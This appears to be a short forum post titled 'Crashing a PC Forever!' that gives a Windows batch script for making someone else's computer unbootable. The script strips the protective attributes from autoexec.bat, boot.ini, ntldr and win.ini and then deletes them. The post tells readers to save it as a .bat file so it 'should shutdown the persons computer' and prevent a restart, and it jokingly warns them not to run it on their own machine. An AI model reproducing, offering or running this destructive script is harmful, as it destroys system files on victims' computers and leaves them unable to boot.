Use this
Crashing a PC Forever !

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots):P
**Also remember this might not work with vista.**